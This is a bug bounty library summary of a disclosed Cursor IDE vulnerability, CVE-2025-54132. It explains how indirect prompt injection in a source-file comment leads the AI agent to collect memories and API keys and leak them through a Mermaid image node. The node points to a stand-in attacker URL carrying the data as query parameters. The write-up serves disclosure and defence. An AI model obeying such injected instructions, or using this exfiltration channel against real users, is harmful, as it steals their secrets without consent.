# Cursor IDE: Arbitrary Data Exfiltration Via Mermaid (CVE-2025-54132)

Cursor renders Mermaid diagrams with external image URLs, letting indirect prompt injection exfiltrate memories and API keys to an attacker server without confirmation.

- Payout: Research
- Severity: high
- Program: Cursor
- Write-up by: Johann Rehberger
- Disclosed: 2025-08-04
- CVE: CVE-2025-54132
- Write-up quality: 7/10
- Original: https://embracethered.com/blog/posts/2025/cursor-data-exfiltration-with-mermaid/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2025-cursor-data-exfiltration-with-mermaid
- Tags: area:ai domain:ai impact:data-leak kind:research platform:research sev:high tech:llm technique:chained vuln:info-disclosure vuln:prompt-injection

**Target:** AI code editor Mermaid diagram renderer
**Root cause:** Mermaid diagrams support image tags with external URLs, and Cursor renders them without sandboxing or user confirmation, so any URL embedded in a diagram triggers an outbound request carrying data.
**Steps:**
1. Craft a source file whose comment instructs the AI to build a Mermaid diagram with an `<img src='https://attacker/h.png?c=DATA'>` node.
2. Ask Cursor (agent mode) to `explain the file`.
3. Injected instructions make Cursor gather secrets (memories or grep'd API keys) and URL-encode them into the image URL.
4. Cursor renders the diagram, firing the request to the attacker server, leaking the data.
**How found:** Noticed Cursor renders Mermaid diagrams and wondered whether Mermaid could issue external requests via image inclusion; tested with a prompt and confirmed outbound requests bypass the sandbox without confirmation.
**Exploitation:** Attacker plants indirect prompt injection in source code, web content, MCP server output, or image upload. When the victim asks Cursor to analyze it, the model follows injected instructions to collect context (memories, config secrets) and emit a Mermaid diagram containing an external image URL with the data as query params; rendering triggers the exfil request silently.
**Escalation:** Any data pullable into chat context (Jira, Slack via MCP, config files) can be exfiltrated; diagram renders silently with no visible large data transfer.
**Insight:** Mermaid's image node syntax (`<img src=...>`) is a lesser-known exfil channel in AI/chat UIs that render diagrams; test diagram renderers for external resource loading as a prompt-injection egress path.